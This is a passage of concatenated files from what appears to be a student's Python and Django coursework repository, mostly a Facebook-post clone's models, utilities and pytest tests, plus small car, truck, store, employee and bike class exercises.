'commenter': {'name': 'user1',
'profile_pic': 'user1_pic',
'user_id': 1},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0},
{
'comment_id': 3,
'commenter': {
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic',
},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0},
{'comment_content': 'comment2',
'comment_id': 4,
'commented_at': '2012-09-10 00:00:00.000000',
'commenter': {
'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic',
},
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0}],
'comments_count': 3,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_user_posts.py
from django.db.models import Prefetch
from fb_post.models import Post, Comment
from .fb_post_details_of_post import get_post_details_in_dictionary
from .fb_post_exception_methods import check_whether_user_id_exists
def get_user_posts(user_id):
check_whether_user_id_exists(user_id)
comment_objects = Comment.objects.select_related('commented_by')
comment_prefetch = Prefetch('comments', queryset=comment_objects)
comments_reactions = 'comments__reactions'
post_objects = (Post.objects
.filter(posted_by_id=user_id)
.select_related('posted_by')
.prefetch_related(comment_prefetch,
'reactions',
comments_reactions))
user_posts_list = [get_post_details_in_dictionary(post_obj)
for post_obj in post_objects]
return user_posts_list
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/models.py
from django.db import models
class User(models.Model):
name = models.CharField(max_length=100)
profile_pic = models.URLField()
class Post(models.Model):
content = models.CharField(max_length=1000)
posted_at = models.DateTimeField(auto_now=True)
posted_by = models.ForeignKey(User, on_delete=models.CASCADE,
related_name='post')
# comment = models.ManyToManyField(User, through='Comment',
# related_name='commented_to_post')
class Comment(models.Model):
content = models.CharField(max_length=1000)
commented_at = models.DateTimeField(auto_now=True)
commented_by = models.ForeignKey(User, on_delete=models.CASCADE)
post = models.ForeignKey(Post, on_delete=models.CASCADE,
related_name='comments')
parent_comment = models.ForeignKey('self', on_delete=models.CASCADE,
null=True,
related_name='reply_to_comment')
class Reaction(models.Model):
react = (
('WOW', 'WOW'), ('LIT', 'LIT'),
('LOVE', 'LOVE'), ('HAHA', 'HAHA'),
('THUMBS-UP', 'THUMBS-UP'),
('THUMBS-DOWN', 'THUMBS-DOWN'),
('ANGRY', 'ANGRY'), ('SAD', 'SAD'))
post = models.ForeignKey(Post, on_delete=models.CASCADE, null=True,
related_name='reactions')
comment = models.ForeignKey(Comment, on_delete=models.CASCADE, null=True,
related_name='reactions')
reaction = models.CharField(max_length=100, choices=react)
reacted_at = models.DateTimeField(auto_now=True)
reacted_by = models.ForeignKey(User, on_delete=models.CASCADE,
related_name='reactions')
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_reactions_to_post.py
import pytest
from fb_post.exceptions import InvalidPostException
from fb_post.utils import get_reactions_to_post
pytestmark = pytest.mark.django_db
def test_get_reactions_to_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_reactions_to_post(invalid_post_id)
def test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post(reaction):
# Arrange
post_id = 1
list_user_details_of_post_dict = [
{"user_id": 2, "name": "user2", "profile_pic": "user2_pic",
"reaction": "WOW"},
{"user_id": 3, "name": "user3", "profile_pic": "user3_pic",
"reaction": "LIT"}
]
# Act
list_of_user_and_reactions_dict = get_reactions_to_post(post_id)
# Asset
assert list_user_details_of_post_dict == list_of_user_and_reactions_dict
def test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list(reaction):
# Arrange
post_id = 5
list_of_user_details_of_post = []
# Act
list_of_user_and_reactions_dict = get_reactions_to_post(post_id)
# Asset
assert list_of_user_details_of_post == list_of_user_and_reactions_dict
<file_sep>/backend-PY/emloyee-list.py
class Employee:
bonous = 10000
no_of_employees = 0
def __init__(self,first_name, last_name, salary):
self.first_name = first_name
self.last_name = last_name
self.salary = salary
self.email = first_name + '.' + last_name + '@<EMAIL>'
Employee.no_of_employees +=1
def fullname(self):
return '{} {}'.format(self.first_name,self.last_name)
def apply_bonous(self):
self.bonous = int(self.bonous + self.salary)
@classmethod
def raise_amount(cls, amount):
cls.raise_amount = amount
@classmethod
def from_string(cls, emp_str):
first_name, last_name, salary = emp_str.split(' ')
return cls(first_name, last_name, salary)
employee_list = []
for _ in range(int(input())):
employee_details = input()
emp_str = Employee.from_string(employee_details)
employee_list.append(f'{(emp_str.no_of_employees)}. {(Employee.fullname(emp_str)).ljust(50)} \t {str(emp_str.email).center(20)} \t {(emp_str.salary).ljust(20)}')
for i in employee_list:
print(i)
"""
@staticmethod
def is_workday(day):
if day.weekday() == 5 or day.weekday() == 6:
return False
return True
import datetime
my_date = datetime.datetime.now()
print(Employee.is_workday(my_date))
"""
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_total_reaction_count.py
import pytest
from fb_post.utils import get_total_reaction_count
pytestmark = pytest.mark.django_db
def test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary(reaction, reaction_to_comments):
# Arrange
total_reaction_count_dict = {'count': 11}
# Act
reaction_count_dict = get_total_reaction_count()
# Assert
assert total_reaction_count_dict == reaction_count_dict
def test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary():
# Arrange
total_reaction_count_dict = {'count': 0}
# Act
reaction_count_dict = get_total_reaction_count()
# Assert
assert total_reaction_count_dict == reaction_count_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_posts_with_more_positive_reactions.py
import pytest
from fb_post.utils import get_posts_with_more_positive_reactions
pytestmark = pytest.mark.django_db
def test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list(reaction):
# Arrange
post_ids_list = [1, 3]
# Act
list_of_post_ids = get_posts_with_more_positive_reactions()
# Assert
assert post_ids_list == list_of_post_ids
def test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list():
# Arrange
post_ids_list = []
# Act
list_of_post_ids = get_posts_with_more_positive_reactions()
# Assert
assert post_ids_list == list_of_post_ids
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_apply_breaks.py
import pytest
from car import Car
def test_apply_brakes_when_car_object_is_in_motion_returns_current_speed(car):
# Arrange
car.start_engine()
car.accelerate()
car.accelerate()
current_speed = 70
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
@pytest.mark.parametrize(
"color,max_speed, acceleration, tyre_friction, current_speed", [
('Red', 200, 50, 20, 30), ('Blue', 150, 25, 25, 0)])
def test_apply_breaks_when_car_object_current_speed_is_more_than_or_equal_to_car_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed):
# Arrange
car = Car(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction)
car.start_engine()
car.accelerate()
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
def test_apply_breaks_when_car_object_current_speed_is_less_than_car_object_tyre_friction_returns_zero():
# Arrange
car = Car(color='Red', max_speed=200, acceleration=40, tyre_friction=15)
car.start_engine()
car.accelerate()
current_speed_when_less_than_tyre_friction = 0
# Act
car.apply_brakes()
car.apply_brakes()
car.apply_brakes()
# Assert
assert car.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_car_object_current_speed_is_equal_to_car_object_tyre_friction_returns_current_speed():
# Arrange
car = Car(color='Red', max_speed=200, acceleration=40, tyre_friction=10)
car.start_engine()
car.accelerate()
current_speed = 10
# Act
car.apply_brakes()
car.apply_brakes()
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/conftest.py
import pytest
from car import Car
from truck import Truck
from race_car import RaceCar
@pytest.fixture
def car(): # Car Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
car_obj = Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
return car_obj
@pytest.fixture
def truck(): # Truck Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
max_cargo_weight = 180
truck_obj = Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
return truck_obj
@pytest.fixture
def race_car(): # RaceCar Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
race_car_obj = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
return race_car_obj
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/user_info.py
from fb_post.models import User
def dict_of_user_info(user):
user_dict = {
'user_id': user.id,
'name': user.name,
'profile_pic': user.profile_pic
}
return user_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_create_post.py
import datetime
import pytest
from freezegun import freeze_time
from fb_post.exceptions import InvalidUserException, InvalidPostContent
from fb_post.models import Post
from fb_post.utils import create_post
pytestmark = pytest.mark.django_db
def test_create_post_when_user_is_invalid_raises_invalid_user_exception(user):
# Arrange
invalid_user_id = 100
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException):
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_invalid_raises_invalid_post_content_exception(user):
# Arrange
valid_user_id = 1
post_content = ''
# Act
with pytest.raises(InvalidPostContent):
assert create_post(valid_user_id, post_content)
@freeze_time("2009-01-14")
def test_create_post_with_valid_details_creates_post_object_and_returns_post_id(post):
# Arrange
user_id = 1
post_content = 'post1'
commented_at = datetime.datetime.now()
# Act
post_id = create_post(user_id, post_content)
# Assert
post_object = Post.objects.get(id=post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == post_content
assert post_object.posted_at.replace(tzinfo=None) == commented_at
<file_sep>/covid_extra_py_files/get_state_daily_wise_report_interactor.py
# from covid_dashboard.interactors.storages.state_storage_interface \
# import StateStorageInterface
# from covid_dashboard.interactors.presenters.presenter_interface \
# import PresenterInterface
# from covid_dashboard.exceptions.exceptions \
# import InvalidStateIdException
# class GetStateStorageDailyWiseReportInteractor:
# def __init__(self,
# state_storage: StateStorageInterface,
# presenter: PresenterInterface):
# self.state_storage = state_storage
# self.presenter = presenter
# def get_state_daily_wise_report(self,
# state_id: int):
# try:
# self.state_storage.validate_state_id(state_id)
# except InvalidStateIdException:
# self.presenter.raise_state_exception_if_state_id_is_invalid()
# return
# daily_state_wise_report_dto = self. \
# state_storage.get_state_daily_wise_report(
# state_id=state_id)
# return self.presenter. \
# get_response_for_get_state_daily_wise_report(
# daily_state_wise_report_dto=
# daily_state_wise_report_dto)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_object_creation.py
from truck import Truck
########### Testing wether One object is creating ###########
def test_truck_creating_one_truck_object_with_given_instances_creates_truck_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
max_cargo_weight = 150
truck_obj = Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Act
result = isinstance(truck_obj, Truck)
# Assert
assert result is True
########### Testing wether Multiple objects are creating ###########
def test_truck_creating_multiple_truck_objects_with_given_instances_creates_truck_objects():
# Arrange
truck_obj1 = Truck(color='Red', max_speed=250, acceleration=50,
tyre_friction=10, max_cargo_weight=300)
truck_obj2 = Truck(color='Black', max_speed=200, acceleration=40,
tyre_friction=7, max_cargo_weight=250)
# Act
creation_of_truck_object1 = isinstance(truck_obj1, Truck)
creation_of_truck_object2 = isinstance(truck_obj2, Truck)
result = truck_obj1 == truck_obj2
# Assert
assert creation_of_truck_object1 is True
assert creation_of_truck_object2 is True
assert result is False
<file_sep>/clean_architecture/clean_architecture_resources/fb_post_clean_arch/interactors/create_post_interactor.py
from fb_post_clean_arch.presenters.presenter_implementation \
import PresenterInterface
from fb_post_clean_arch.storages.storage_implementation \
import StorageInterface
class CreatePostInteractor:
def __init__(self, storage: StorageInterface):
self.storage = storage
def create_post(self, user_id: int,
post_content: str,
presenter: PresenterInterface):
post_id = self.storage.create_post(
user_id=user_id,
post_content=post_content
)
return presenter.get_create_post_response(post_id=post_id)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_posts_reacted_by_user.py
import pytest
from fb_post.exceptions import InvalidUserException
from fb_post.utils import get_posts_reacted_by_user
pytestmark = pytest.mark.django_db
def test_get_posts_reacted_by_user_when_user_id_is_invalid_raises_invalid_user_exception(reaction):
# Arrange
user_id = 100
# Act
with pytest.raises(InvalidUserException):
assert get_posts_reacted_by_user(user_id)
def test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list(reaction):
# Arrange
user_id = 2
post_ids_list = [1, 3]
# Act
list_of_post_ids = get_posts_reacted_by_user(user_id)
# Assert
assert post_ids_list == list_of_post_ids
def test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list(reaction):
# Arrange
user_id = 1
post_ids_list = []
# Act
list_of_post_ids = get_posts_reacted_by_user(user_id)
# Assert
assert post_ids_list == list_of_post_ids
<file_sep>/bitcoin_tracker/historical_data/migrations/0007_blog.py
# Generated by Django 3.0 on 2020-07-08 05:28
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('historical_data', '0006_auto_20200708_0519'),
]
operations = [
migrations.CreateModel(
name='Blog',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='historical_data.Person')),
],
),
]
<file_sep>/backend-PY/main.py
from car import Car
car_1 = Car("Green", "Automated Car",100)
car_2 = Car("Red", "Automated Car", 100)
car_1.accelerate()
car_2.accelerate()
print(car_1.color,car_1.type,car_1.current_speed)
print(car_2.color,car_2.type,car_2.current_speed)
print()
car_2.current_speed = 14
car_2.brake()
print(car_1.color,car_1.type,car_1.current_speed)
print(car_2.color,car_2.type,car_2.current_speed)
print()
<file_sep>/bitcoin_tracker/historical_data/migrations/0001_initial.py
# Generated by Django 3.0 on 2020-07-07 06:55
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='PriceHistory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateTimeField(auto_now_add=True)),
('price', models.IntegerField()),
('volume', models.IntegerField()),
('total_btc', models.IntegerField(default=0)),
],
),
]
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/conftest.py
import pytest
from freezegun import freeze_time
from fb_post.constants import ReactionType
from fb_post.models import User, Post, Comment, Reaction
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
user_list = [{'name': 'user1', 'profile_pic': 'user1_pic'},
{'name': 'user2', 'profile_pic': 'user2_pic'},
{'name': 'user3', 'profile_pic': 'user3_pic'},
{'name': 'user4', 'profile_pic': 'user4_pic'},
{'name': 'user5', 'profile_pic': 'user5_pic'}]
User.objects.bulk_create([User(name=user_dict['name'],
profile_pic=user_dict['profile_pic'])
for user_dict in user_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def post(user):
post_list = [
{'content': 'post1', 'posted_by_id': 1},
{'content': 'post2', 'posted_by_id': 1},
{'content': 'post3', 'posted_by_id': 2},
{'content': 'post4', 'posted_by_id': 3},
{'content': 'post5', 'posted_by_id': 4}]
Post.objects.bulk_create([Post(content=post_dict['content'],
posted_by_id=post_dict['posted_by_id'])
for post_dict in post_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def comment(post):
comment_list = [
{'content': 'comment1', 'post_id': 1, 'commented_by_id': 1},
{'content': 'comment2', 'post_id': 2, 'commented_by_id': 1},
{'content': 'comment1', 'post_id': 1, 'commented_by_id': 2},
{'content': 'comment2', 'post_id': 1, 'commented_by_id': 3},
{'content': 'comment3', 'post_id': 2, 'commented_by_id': 3},
{'content': 'comment4', 'post_id': 3, 'commented_by_id': 4},]
Comment.objects.bulk_create([Comment(content=comment_dict['content'],
post_id=comment_dict['post_id'],
commented_by_id=comment_dict[
'commented_by_id'])
for comment_dict in comment_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reaction(post):
reaction_list = [
{'post_id': 1, 'reaction': ReactionType.WOW.value, 'reacted_by_id': 2},
{'post_id': 1, 'reaction': ReactionType.LIT.value, 'reacted_by_id': 3},
{'post_id': 2, 'reaction': ReactionType.SAD.value, 'reacted_by_id': 4},
{'post_id': 3, 'reaction': ReactionType.LIT.value, 'reacted_by_id': 5},
{'post_id': 3, 'reaction': ReactionType.LIT.value, 'reacted_by_id': 2}]
Reaction.objects.bulk_create([Reaction(post_id=reaction_dict['post_id'],
reacted_by_id=reaction_dict[
'reacted_by_id'],
reaction=reaction_dict['reaction'])
for reaction_dict in reaction_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reaction_to_comments(comment):
reaction_list = [
{'comment_id': 1, 'reaction': ReactionType.LIT.value,
'reacted_by_id': 2},
{'comment_id': 1, 'reaction': ReactionType.THUMBS_DOWN.value,
'reacted_by_id': 3},
{'comment_id': 2, 'reaction': ReactionType.SAD.value,
'reacted_by_id': 4},
{'comment_id': 3, 'reaction': ReactionType.ANGRY.value,
'reacted_by_id': 5},
{'comment_id': 1, 'reaction': ReactionType.THUMBS_DOWN.value,
'reacted_by_id': 4},
{'comment_id': 4, 'reaction': ReactionType.THUMBS_UP.value,
'reacted_by_id': 1}]
reaction_obj_list = [Reaction(comment_id=reaction_dict['comment_id'],
reacted_by_id=reaction_dict['reacted_by_id'],
reaction=reaction_dict['reaction'])
for reaction_dict in reaction_list]
Reaction.objects.bulk_create(reaction_obj_list)
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reply(comment):
reply_list = [
{'content': 'reply_to_comment1 by 2', 'post_id': 1, 'comment_id': 1,
'commented_by_id': 2},
{'content': 'reply_to_comment2 by 3', 'post_id': 2, 'comment_id': 2,
'commented_by_id': 3},
{'content': 'reply_to_comment1 by 3', 'post_id': 3, 'comment_id': 6,
'commented_by_id': 4},
{'content': 'reply_to_comment4 by 1', 'post_id': 1, 'comment_id': 4,
'commented_by_id': 1},]
comment_obj_list = [Comment(content=comment_dict['content'],
post_id=comment_dict['post_id'],
parent_comment_id=comment_dict['comment_id'],
commented_by_id=comment_dict[
'commented_by_id'])
for comment_dict in reply_list]
Comment.objects.bulk_create(comment_obj_list)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_unload.py
import pytest
from truck import Truck
def test_unload_in_truck_when_truck_is_in_motion_returns_cannot_unload_cargo_during_motion(capsys, truck):
# Arrange
truck.start_engine()
truck.accelerate()
unload_cargo_weight = 40
# Act
truck.unload(unload_cargo_weight)
captured = capsys.readouterr()
# Asset
assert captured.out == 'Cannot unload cargo during motion\n'
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
unload_cargo_weight""", [
('Red', 200, 50, 20, 180, 1), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90)])
def test_unload_in_truck_when_truck_engine_is_started_and_not_in_motion_and_truck_is_unloaded_without_load_with_given_unload_weight_returns_zeo(color, max_speed, acceleration, tyre_friction, max_cargo_weight, unload_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.unload(unload_cargo_weight)
# Assert
assert truck.cargo_weight == 0
@pytest.mark.parametrize(
"""max_speed, acceleration, max_cargo_weight,
load_cargo_weight, unload_cargo_weight, remained_cargo_weight""", [
(300, 70, 190, 100, 90, 10),
(250, 20, 150, 1, 1, 0)])
def test_unload_in_loaded_truck_when_truck_is_not_in_motion_with_decrease_of_load_with_given_unload_cargo_weight_returns_remained_cargo_weight_in_truck(max_speed, acceleration, max_cargo_weight, load_cargo_weight, unload_cargo_weight, remained_cargo_weight):
# Arrange
color = 'Red'
tyre_friction = 30
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
truck.load(load_cargo_weight)
# Act
truck.unload(unload_cargo_weight)
# Assert
assert truck.cargo_weight == remained_cargo_weight
def test_unload_in_loaded_truck_when_truck_is_not_in_motion_with_decrease_of_load_with_given_unload_cargo_weight_more_than_load_in_truck_returns_cannot_unload_cargo_as_load_in_truck_is_less_than_given_unload_cargo_weight(capsys):
# Arrange
color = 'Blue'
max_speed = 150
acceleration = 30
tyre_friction = 10
max_cargo_weight = 100
load_cargo_weight = 80
unload_cargo_weight = 100
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
limit_message = "Can't unload cargo less than given unload cargo weight\n"
truck.load(load_cargo_weight)
# Act
truck.unload(unload_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_003/store.py
class Item:
def __init__(self, name, price, category):
self._name = name
self._price = price
self._category = category
if bool(isinstance(price, str) or price <= 0):
raise ValueError('Invalid value for price, got {}'.format(price))
if not isinstance(category, str):
raise 'Invalid value for category, got {}'.format(category)
if not isinstance(name, str):
raise 'Invalid value for name, got {}'.format(name)
@property
def name(self):
return self._name
@property
def price(self):
return self._price
@property
def category(self):
return self._category
def __str__(self):
return '{}@{}-{}'.format(self._name, self._price, self._category)
class Query:
def __init__(self, field, operation, value):
self._field = field
list_of_operations = ['IN', 'EQ', 'GT', 'GTE', 'LT',
'LTE', 'STARTS_WITH', 'ENDS_WITH', 'CONTAINS']
if operation not in list_of_operations:
raise ValueError('Invalid value for operation, got '+(operation))
if not isinstance(field, str):
raise ValueError('Invalid value for field')
if not isinstance(operation, str):
raise ValueError('Invalid value for price')
self._operation = operation
self._value = value
@property
def field(self):
return self._field
@property
def operation(self):
return self._operation
@property
def value(self):
return self._value
def __str__(self):
return '{} {} {}'.format(self._field, self._operation, self._value)
class Store:
def __init__(self, item_list=None):
if item_list:
self.item_list = item_list
else:
self.item_list = []
def add_item(self, item):
self.item_list.append(item)
def count(self):
return len(self.item_list)
@staticmethod
def filtering_items(query, items_list):
filtered_list = []
for item in items_list:
attribute = getattr(item, query.field)
Store.arthematic_operations(attribute, query, filtered_list, item)
Store.string_operations(attribute, query, filtered_list, item)
return filtered_list
@staticmethod
def arthematic_operations(attribute, query, filtered_list, item):
if query.operation == 'EQ':
if attribute == query.value:
filtered_list.append(item)
elif query.operation == 'GTE':
if attribute >= query.value:
filtered_list.append(item)
elif query.operation == 'GT':
if attribute > query.value:
filtered_list.append(item)
elif query.operation == 'LTE':
if attribute <= query.value:
filtered_list.append(item)
elif query.operation == 'LT':
if attribute < query.value:
filtered_list.append(item)
@staticmethod
def string_operations(attribute, query, filtered_list, item):
if query.operation == 'IN':
if attribute in query.value:
filtered_list.append(item)
if query.operation == 'STARTS_WITH':
if attribute.startswith(query.value):
filtered_list.append(item)
if query.operation == 'ENDS_WITH':
if attribute.endswith(query.value):
filtered_list.append(item)
if query.operation == 'CONTAINS':
if attribute.find(query.value) != -1:
filtered_list.append(item)
def filter(self, query):
filtered_list = self.filtering_items(query, self.item_list)
store = Store(filtered_list)
return store
def exclude(self, query):
excluded_list = []
filtered_list = self.filtering_items(query, self.item_list)
for item in self.item_list:
if item not in filtered_list:
excluded_list.append(item)
store = Store(excluded_list)
return store
def __str__(self):
item_str = ""
for item in self.item_list:
item_str += str(item) + '\n'
store_items = item_str[:-1]
length = len(item_str)
if length:
return store_items
return 'No items'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_accelerate.py
import pytest
from race_car import RaceCar
def test_race_car_object_accelerate_when_engine_is_started_returns_current_speed(race_car):
# Arrange
race_car.start_engine()
current_speed = 40
# Act
race_car.accelerate()
# Assert
assert race_car.current_speed == current_speed
def test_race_car_object_accelerate_when_race_car_object_current_speed_is_equal_to_race_car_object_max_speed_limit_returns_max_speed(race_car):
# Arrange
race_car.start_engine()
max_speed = 200
# Act
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Assert
assert race_car.current_speed == max_speed
def test_race_car_object_accelerate_when_race_car_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, race_car):
# Act
race_car.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
@pytest.mark.parametrize(
"color, max_speed, acceleration, tyre_friction", [
('Red', 1, 1, 1), ('Blue', 150, 30, 10),
('Black', 200, 40, 10)])
def test_race_car_object_accelerate_when_race_car_object_current_speed_is_more_than_race_car_object_max_speed_limit_and_nitro_is_zero_returns_max_speed(color, max_speed, acceleration, tyre_friction):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
# Act
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Asset
assert race_car.current_speed == max_speed
def test_race_car_object_current_speed_when_race_car_object_is_in_idle_postion_intially_and_nitro_is_zero_returns_zero():
# Arrange
race_car = RaceCar(color='Red', max_speed=180, acceleration=45,
tyre_friction=4)
# Act
race_car_idle_initial_speed = race_car.current_speed
# Act
assert race_car_idle_initial_speed == 0
def test_race_car_object_current_speed_when_race_car_object_engine_is_stopped_from_motion_and_nitro_is_zero_returns_current_speed():
# Arrange
race_car = RaceCar(color='Red', max_speed=180, acceleration=45,
tyre_friction=4)
race_car.start_engine()
current_speed = 135
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Act
race_car.stop_engine()
# Assert
assert race_car.current_speed == current_speed
<file_sep>/BackEnd-Assignment-01/bike.py
class Bike:
def __init__(self, model_name, acceleration):
self.model_name = model_name
self.acceleration = acceleration
self.current_speed = 0
self.color = "black"
def accelerate(self):
self.current_speed += self.acceleration
def create_bike_object(model_name, acceleration):
bike_object = Bike(model_name,acceleration)
return bike_object #"To fill create_bike_object code" # Change this
def get_bike_object_color(bike_object):
return bike_object.color # Change this
def get_bike_object_current_speed(bike_object):
return bike_object.current_speed #"To fill get_bike_object_current_speed code"
def change_bike_color(bike_object, new_color):
bike_object.color = new_color
return bike_object.color #"To fill change_bike_color code" # Change this
def increase_bike_speed(bike_object):
return bike_object.accelerate() #"To fill increase_bike_speed code" # Change this
if __name__ == '__main__':
bike_object = create_bike_object('Yamaha', 10)
print(bike_object)
print(get_bike_object_color(bike_object))
print(get_bike_object_current_speed(bike_object))
print(change_bike_color(bike_object, "red"))
(increase_bike_speed(bike_object))
print(get_bike_object_current_speed(bike_object)) <file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/snapshots/snap_test_get_posts_with_factory.py
# -*- coding: utf-8 -*-
# snapshottest: v1 - https://goo.gl/zC4yUc
from __future__ import unicode_literals
from snapshottest import Snapshot
snapshots = Snapshot()
snapshots['test_get_post_with_valid_details post_details'] = {
'comments': [
],
'comments_count': 0,
'post_content': 'post content of post0',
'post_id': 1,
'posted_at': '2012-09-10 00:00:00.000000',
'posted_by': {
'name': 'vinay5',
'profile_pic': '<EMAIL>',
'user_id': 6
},
'reactions': {
'count': 0,
'type': [
]
}
}
snapshots['test_get_post_with_valid_details resultant_post_id'] = 1
snapshots['test_get_post_with_valid_details resultant_posted_by'] = {
'name': 'vinay5',
'profile_pic': '<EMAIL>',
'user_id': 6
}
snapshots['test_get_post_with_valid_details resultant_posted_at'] = '2012-09-10 00:00:00.000000'
snapshots['test_get_post_with_valid_details resultant_comments'] = [
]
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/.~c9_invoke_bMXHpO.py
from django.test import TestCase
# Create your tests here.
from fb_post.utils import *
import pytest
from freezegun import freeze_time
import datetime
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
user_list = [{'name':'Vinay', 'profile_pic':''}
]
User.objects.create(name = 'Vinay', profile_pic = '<EMAIL>')
@pytest.fixture
@freeze_time("2012-01-14")
def post(user):
user = User.objects.get(name = 'Vinay')
Post.objects.create(content = 'post1', posted_at = datetime.datetime.now(), posted_by = user)
@pytest.fixture
@freeze_time("2012-01-16")
def comment(user,post):
content = 'comment1'
post = Post.objects.get(content = 'post1')
user = User.objects.get(name = 'Vinay')
Comment.objects.create(content = content, post = post, commented_by = user, commented_at = datetime.datetime.now())
" Task 02 "
def test_create_post_when_user_is_inavlid_raises_inavlid_user_exception(user):
# Arrange
invalid_user_id = 2
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception(user):
# Arrange
valid_user_id = User.objects.get(name = 'Vinay').id
post_content = ''
# Act
with pytest.raises(InvalidPostContent) as e: # Asserting the exception
assert create_post(valid_user_id, post_content)
@freeze_time("2012-01-14")
